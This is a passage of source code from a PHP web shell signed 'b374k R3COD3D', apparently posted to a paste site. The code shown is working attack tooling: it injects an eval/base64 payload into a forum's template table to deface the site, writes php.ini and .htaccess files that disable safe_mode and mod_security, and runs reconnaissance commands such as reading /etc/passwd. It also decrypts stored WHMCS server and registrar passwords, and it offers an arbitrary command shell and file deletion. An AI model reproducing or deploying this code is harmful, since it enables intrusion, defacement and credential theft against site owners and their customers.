  4386. DB Name : <input size=\"15\" style='color:#FF0000;background-color:#000000' value=\"\" name=\"database\" type=\"text\"><br>
  4387. DB User : <input size=\"15\" style='color:#FF0000;background-color:#000000' value=\"\" name=\"username\" type=\"text\"><br>
  4388. DB Pass : <input size=\"15\" style='color:#FF0000;background-color:#000000' value=\"\" name=\"password\" type=\"text\"><br>
  4389. <br>
  4390. <textarea name=\"index\" cols=\"100\" rows=\"20\">[+] HALAMAN INDEX DEFACE [+]</textarea><br>
  4391. <input value=\" >> \" style='color:#FF0000;background-color:#000000' name=\"send\" type=\"submit\">
  4392. </form></center>";
  4393. }else{
  4394. $localhost = $_POST['localhost'];
  4395. $database = $_POST['database'];
  4396. $username = $_POST['username'];
  4397. $password = $_POST['password'];
  4398. $index = $_POST['index'];
  4399. @mysql_connect($localhost,$username,$password) or die(mysql_error());
  4400. @mysql_select_db($database) or die(mysql_error());
  4401.  
  4402. $index=str_replace("\'","'",$index);
  4403.  
  4404. $set_index = "{\${eval(base64_decode(\'";
  4405.  
  4406. $set_index .= base64_encode("echo \"$index\";");
  4407.  
  4408.  
  4409. $set_index .= "\'))}}{\${exit()}}</textarea>";
  4410.  
  4411. echo("UPDATE template SET template ='".$set_index."' ") ;
  4412. $ok=@mysql_query("UPDATE template SET template ='".$set_index."'") or die(mysql_error());
  4413.  
  4414. if($ok){
  4415. echo "!! update finish !!<br><br>";
  4416. }
  4417.  
  4418. }
  4419. # Footer
  4420. }
  4421.  
  4422.  
  4423.  
  4424.  
  4425. elseif(isset($_GET['x']) && ($_GET['x'] == 'sec'))
  4426. {
  4427. ?>
  4428. <form action="?y=<?php echo $pwd; ?>&amp;x=sec" method="post">
  4429.  
  4430. <?php
  4431.  
  4432. echo "<html>
  4433. <center><br><br><font color=#FF0000 >[+] GENERATED php.ini [+]</font><br>
  4434. <form method='POST' >
  4435. <font color=#FF0000 > PATH : </font><input type='text' name='phpinisafemode' value='$pwd' style='color:#FF0000;background-color:#000000' />
  4436. <input type='submit' name='dsmsubmit' style='color:#FF0000;background-color:#000000' value=' >> ' />
  4437. </form>
  4438. <br><br>
  4439. <font color=#FF0000 >[+] GENERATED Htaccess [+}</font><br>
  4440. <form method='POST' >
  4441. <font color=#FF0000 > PATH : </font><input type='text' name='htaccesssafemode' style='color:#FF0000;background-color:#000000' value='$pwd' />
  4442. <input type='submit' name='omssubmit' style='color:#FF0000;background-color:#000000' value=' >> ' />
  4443. </form>";
  4444.  
  4445. $dirphpini = $_POST['phpinisafemode'];
  4446. $dirhtaccess = $_POST['htaccesssafemode'];
  4447. $phpininamelol = "php.ini";
  4448.  
  4449. if($_POST['omssubmit'])
  4450. {
  4451. $fse=fopen("$dirphpini.htaccess","w");
  4452. fwrite($fse,'<IfModule mod_security.c>
  4453. Sec------Engine Off
  4454. Sec------ScanPOST Off
  4455. </IfModule>');
  4456. fclose($fse);
  4457. }
  4458.  
  4459. else if ($_POST['dsmsubmit'])
  4460. {
  4461. $fse=fopen("$dirhtaccess$phpininamelol","w");
  4462. fwrite($fse,'safe_mode = OFF
  4463. disable_functions = NONE
  4464. safe_mode_gid = OFF
  4465. open_basedir = OFF
  4466. register_globals = ON
  4467. exec = ON
  4468. shell_exec = ON');
  4469. fclose($fse);
  4470. }
  4471. }
  4472.  
  4473.  
  4474.  
  4475. elseif(isset($_GET['x']) && ($_GET['x'] == 'proc'))
  4476. {
  4477. ?>
  4478. <form action="?y=<?php echo $pwd; ?>&amp;x=proc" method="post">
  4479.  
  4480. <?php
  4481. function processc99() {
  4482. if (!$win) {$handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":"");}
  4483. else {$handler = "tasklist";}
  4484. $ret = myshellexec($handler);
  4485. if (!$ret) {echo "Can't execute \"".$handler."\"!";}
  4486. else {
  4487.  
  4488. if (empty($processes_sort)) {$processes_sort = $sort_default;}
  4489. $parsesort = parsesort($processes_sort);
  4490. if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
  4491. $k = $parsesort[0];
  4492. $ret = htmlspecialchars($ret);
  4493. if (!$win) {
  4494. if ($pid) {
  4495. if (is_null($sig)) {$sig = 9;}
  4496. echo "Sending signal ".$sig." to #".$pid."... ";
  4497. if (posix_kill($pid,$sig)) {echo "OK.";}
  4498. else {echo "ERROR.";}
  4499. }
  4500. while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
  4501. $stack = explode("\n",$ret);
  4502. $head = explode(" ",$stack[0]);
  4503. unset($stack[0]);
  4504. $prcs = array();
  4505. foreach ($stack as $line)
  4506. {
  4507. if (!empty($line))
  4508. {
  4509. echo "<tr>";
  4510. $line = explode(" ",$line);
  4511. $line[10] = join(" ",array_slice($line,10));
  4512. $line = array_slice($line,0,11);
  4513. $prcs[] = $line;
  4514. echo "</tr>";
  4515. } } }
  4516. else {
  4517. while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  4518. while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  4519. while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  4520. while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  4521. while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  4522. while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  4523. while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  4524. while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  4525. while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  4526. while (ereg("",$ret)) {$ret = str_replace("","",$ret);}
  4527. while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);}
  4528.  
  4529. $ret = convert_cyr_string($ret,"d","w");
  4530. $stack = explode("\n",$ret);
  4531. unset($stack[0],$stack[2]);
  4532. $stack = array_values($stack);
  4533. $head = explode("",$stack[0]);
  4534. $head[1] = explode(" ",$head[1]);
  4535. $head[1] = $head[1][0];
  4536. $stack = array_slice($stack,1);
  4537. unset($head[2]);
  4538. $head = array_values($head);
  4539. if ($k > count($head)) {$k = count($head)-1;}
  4540. $prcs = array();
  4541. foreach ($stack as $line)
  4542. {
  4543. if (!empty($line))
  4544. {
  4545. echo "<tr>";
  4546. $line = explode("",$line);
  4547. $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]);
  4548. $line[2] = intval(str_replace(" ","",$line[2]))*1024;
  4549. $prcs[] = $line;
  4550. echo "</tr>";
  4551. }
  4552. }
  4553. }
  4554. $head[$k] = "<b>".$head[$k]."</b>".$y;
  4555. $v = $processes_sort[0];
  4556. if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);}
  4557. $tab = array();
  4558. $tab[] = $head;
  4559. $tab = array_merge($tab,$prcs);
  4560. echo "<TABLE height=1 cellSpacing=0 cellPadding=5 width=\"100%\" border=1>";
  4561. foreach($tab as $i=>$k)
  4562. {
  4563. echo "<tr>";
  4564. foreach($k as $j=>$v) {
  4565. if ($win and $i > 0 and $j == 2) {
  4566. $v = view_size($v);
  4567. }
  4568.  
  4569. echo "<td>".$v."</td>";}
  4570. echo "</tr>";
  4571. }
  4572. echo "</table>";
  4573. }
  4574. }
  4575.  
  4576. echo "<center><br><br>";
  4577. if($win) {
  4578. echo "<form method='post'>
  4579. <select style='color:#FF0000;background-color:#000000' name='windowsprocess'>
  4580. <option name='systeminfo'>System Info</option>
  4581. <option name='active'>Active Connections</option>
  4582. <option name='runningserv'>Running Services</option>
  4583. <option name='useracc'>User Accounts</option>
  4584. <option name='showcom'>Show Computers</option>
  4585. <option name='arptab'>ARP Table</option>
  4586. <option name='ipconf'>IP Configuration</option>
  4587. </select>
  4588. <input type='submit' style='color:#FF0000;background-color:#000000' name='submitwinprocess' value='View'>
  4589. </form>
  4590. ";
  4591. } else {
  4592. echo "<form method='post'>
  4593. <select style='color:#FF0000;background-color:#000000' name='nonwindowsprocess'>
  4594. <option name='processsta'>Process status</option>
  4595. <option name='syslog'>Syslog</option>
  4596. <option name='resolv'>Resolv</option>
  4597. <option name='hosts'>Hosts</option>
  4598. <option name='passwd'>Passwd</option>
  4599. <option name='cpuinfo'>Cpuinfo</option>
  4600. <option name='version'>Version</option>
  4601. <option name='sbin'>Sbin</option>
  4602. <option name='interrupts'>Interrupts</option>
  4603. <option name='lsattr'>lsattr</option>
  4604. <option name='uptime'>Uptime</option>
  4605. <option name='fstab'>Fstab</option>
  4606. <option name='hddspace'>HDD Space</option>
  4607. </select>
  4608. <input type='submit' style='color:#FF0000;background-color:#000000' name='submitnonwinprocess' value='View'>
  4609. </form>
  4610. ";
  4611. }
  4612.  
  4613. $windowsprocess = $_POST['windowsprocess'];
  4614. $nonwindowsprocess = $_POST['nonwindowsprocess'];
  4615.  
  4616. if ($windowsprocess=="System Info") $winruncom = "systeminfo";
  4617. if ($windowsprocess=="Active Connections") $winruncom = "netstat -an";
  4618. if ($windowsprocess=="Running Services") $winruncom = "net start";
  4619. if ($windowsprocess=="User Accounts") $winruncom = "net user";
  4620. if ($windowsprocess=="Show Computers") $winruncom = "net view";
  4621. if ($windowsprocess=="ARP Table") $winruncom = "arp -a";
  4622. if ($windowsprocess=="IP Configuration") $winruncom = "ipconfig /all";
  4623. if ($nonwindowsprocess=="Process status") $systeminfo = "ps aux";
  4624. if ($nonwindowsprocess=="Syslog") $winruncom = "cat /etc/syslog.conf";
  4625. if ($nonwindowsprocess=="Resolv") $winruncom = "cat /etc/resolv.conf";
  4626. if ($nonwindowsprocess=="Hosts") $winruncom = "cat /etc/hosts";
  4627. if ($nonwindowsprocess=="Passwd") $winruncom = "cat /etc/passwd";
  4628. if ($nonwindowsprocess=="Cpuinfo") $winruncom = "cat /proc/cpuinfo";
  4629. if ($nonwindowsprocess=="Version") $winruncom = "cat /proc/version";
  4630. if ($nonwindowsprocess=="Sbin") $winruncom = "ls -al /usr/sbin";
  4631. if ($nonwindowsprocess=="Interrupts") $winruncom = "cat /proc/interrupts";
  4632. if ($nonwindowsprocess=="lsattr") $winruncom = "lsattr -va";
  4633. if ($nonwindowsprocess=="Uptime") $winruncom = "uptime";
  4634. if ($nonwindowsprocess=="Fstab") $winruncom = "cat /etc/fstab";
  4635. if ($nonwindowsprocess=="HDD Space") $winruncom = "df -h";
  4636.  
  4637.  
  4638. if (isset($winruncom)) {
  4639. echo "<table class='cmdbox'>
  4640. <tbody><tr>
  4641. <td colspan='2'>
  4642. <textarea class='output' name='content'>".exe($winruncom)."</textarea>
  4643. </td></tr></table></center>";
  4644. }
  4645.  
  4646. if (isset($systeminfo)) {
  4647. echo "<br><br>";
  4648. processc99();
  4649. }
  4650.  
  4651. }
  4652.  
  4653.  
  4654.  
  4655. elseif(isset($_GET['x']) && ($_GET['x'] == 'whmcs'))
  4656. {
  4657. ?>
  4658. <form action="?y=<?php echo $pwd; ?>&amp;x=whmcs" method="post">
  4659.  
  4660. <?php
  4661.  
  4662. function decrypt ($string,$cc_encryption_hash)
  4663. {
  4664. $key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
  4665. $hash_key = _hash ($key);
  4666. $hash_length = strlen ($hash_key);
  4667. $string = base64_decode ($string);
  4668. $tmp_iv = substr ($string, 0, $hash_length);
  4669. $string = substr ($string, $hash_length, strlen ($string) - $hash_length);
  4670. $iv = $out = '';
  4671. $c = 0;
  4672. while ($c < $hash_length)
  4673. {
  4674. $iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
  4675. ++$c;
  4676. }
  4677. $key = $iv;
  4678. $c = 0;
  4679. while ($c < strlen ($string))
  4680. {
  4681. if (($c != 0 AND $c % $hash_length == 0))
  4682. {
  4683. $key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
  4684. }
  4685. $out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
  4686. ++$c;
  4687. }
  4688. return $out;
  4689. }
  4690.  
  4691. function _hash ($string)
  4692. {
  4693. if (function_exists ('sha1'))
  4694. {
  4695. $hash = sha1 ($string);
  4696. }
  4697. else
  4698. {
  4699. $hash = md5 ($string);
  4700. }
  4701. $out = '';
  4702. $c = 0;
  4703. while ($c < strlen ($hash))
  4704. {
  4705. $out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
  4706. $c += 2;
  4707. }
  4708. return $out;
  4709. }
  4710.  
  4711. echo "<hr>
  4712. <br>
  4713. <center>
  4714. <br>
  4715.  
  4716. <FORM action='' method='post'>
  4717. <input type='hidden' name='form_action' value='2'>
  4718. <br>
  4719. <table border=1>
  4720. <tr><td>db_host </td><td><input type='text' style='color:#FF0000;background-color:#000000' size='30' name='db_host' value='localhost'></td></tr>
  4721. <tr><td>db_username </td><td><input type='text' style='color:#FF0000;background-color:#000000' size='30' name='db_username' value=''></td></tr>
  4722. <tr><td>db_password</td><td><input type='text' style='color:#FF0000;background-color:#000000' size='30' name='db_password' value=''></td></tr>
  4723. <tr><td>db_name</td><td><input type='text' style='color:#FF0000;background-color:#000000' size='30' name='db_name' value=''></td></tr>
  4724. <tr><td>cc_encryption_hash</td><td><input style='color:#FF0000;background-color:#000000' type='text' size='30' name='cc_encryption_hash' value=''></td></tr>
  4725. </table>
  4726. <br>
  4727. <INPUT class=submit type='submit' style='color:#FF0000;background-color:#000000' value='Submit' name='Submit'>
  4728. </FORM>
  4729. </center>
  4730. <hr>";
  4731.  
  4732. if($_POST['form_action'] == 2 )
  4733. {
  4734. //include($file);
  4735. $db_host=($_POST['db_host']);
  4736. $db_username=($_POST['db_username']);
  4737. $db_password=($_POST['db_password']);
  4738. $db_name=($_POST['db_name']);
  4739. $cc_encryption_hash=($_POST['cc_encryption_hash']);
  4740.  
  4741.  
  4742.  
  4743. $link=mysql_connect($db_host,$db_username,$db_password) ;
  4744. mysql_select_db($db_name,$link) ;
  4745. $query = mysql_query("SELECT * FROM tblservers");
  4746. while($v = mysql_fetch_array($query)) {
  4747. $ipaddress = $v['ipaddress'];
  4748. $username = $v['username'];
  4749. $type = $v['type'];
  4750. $active = $v['active'];
  4751. $hostname = $v['hostname'];
  4752. echo("<center><table border='1'>");
  4753. $password = decrypt ($v['password'], $cc_encryption_hash);
  4754. echo("<tr><td>Type</td><td>$type</td></tr>");
  4755. echo("<tr><td>Active</td><td>$active</td></tr>");
  4756. echo("<tr><td>Hostname</td><td>$hostname</td></tr>");
  4757. echo("<tr><td>Ip</td><td>$ipaddress</td></tr>");
  4758. echo("<tr><td>Username</td><td>$username</td></tr>");
  4759. echo("<tr><td>Password</td><td>$password</td></tr>");
  4760.  
  4761. echo "</table><br><br></center>";
  4762. }
  4763.  
  4764. $link=mysql_connect($db_host,$db_username,$db_password) ;
  4765. mysql_select_db($db_name,$link) ;
  4766. $query = mysql_query("SELECT * FROM tblregistrars");
  4767. echo("<center>Domain Reseller <br><table border='1'>");
  4768. echo("<tr><td>Registrar</td><td>Setting</td><td>Value</td></tr>");
  4769. while($v = mysql_fetch_array($query)) {
  4770. $registrar = $v['registrar'];
  4771. $setting = $v['setting'];
  4772. $value = decrypt ($v['value'], $cc_encryption_hash);
  4773. if ($value=="") {
  4774. $value=0;
  4775. }
  4776. $password = decrypt ($v['password'], $cc_encryption_hash);
  4777. echo("<tr><td>$registrar</td><td>$setting</td><td>$value</td></tr>");
  4778. }
  4779. }
  4780. }
  4781.  
  4782.  
  4783.  
  4784. elseif(isset($_GET['x']) && ($_GET['x'] == 'shell')) { ?>
  4785. <form action="?y=<?php echo $pwd; ?>&amp;x=shell" method="post">
  4786. <table class="cmdbox">
  4787. <tr><td colspan="2"><textarea class="output" readonly> <?php if(isset($_POST['submitcmd'])) {
  4788. echo @exe($_POST['cmd']);
  4789. } ?> </textarea>
  4790.  
  4791.  
  4792. <tr>
  4793. <td colspan="2">CMD :
  4794. <input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value=""/>
  4795. <input class="inputzbut" type="submit" value=">>" name="submitcmd" style="width:12%;" /></td></tr></table></form>
  4796.  
  4797.  
  4798.  
  4799. <?php } else {
  4800. if(isset($_GET['delete']) && ($_GET['delete'] != "")) {
  4801. $file = $_GET['delete'];
  4802. @unlink($file);
  4803. } elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != "")) {
  4804. @rmdir(rtrim($_GET['fdelete'],DIRECTORY_SEPARATOR));
  4805. } elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")) {
  4806. $path = $pwd.$_GET['mkdir'];
  4807. @mkdir($path);
  4808. } $buff = showdir($pwd,$prompt);
  4809. echo $buff;
  4810. }
  4811. ?>
  4812.  
  4813. <object data="http://flash-mp3-player.net/medias/player_mp3.swf" height="0" type="application/x-shockwave-flash" width="0"><param value="#ffffff" name="bgcolor"><param value="mp3=http://188.165.69.246/the_reason.mp3&loop=1&autoplay=1&volume=150" name="FlashVars"></object>
  4814. <center><br><br>
  4815. -=[ b374k R3COD3D By <span class="gaya"><a href="http://facebook.com/PeZeEf">4NU</a></span> ]=-<br>
  4816. &copy; 2013 JAYALAH INDONESIA KU<br/>
  4817. <img src="http://img59.imageshack.us/img59/9402/headerpicsay.jpg" border="0" width="200" height="50"></center><br><br>
  4818. </body>
  4819. </html
Add Comment
Please, Sign In to add comment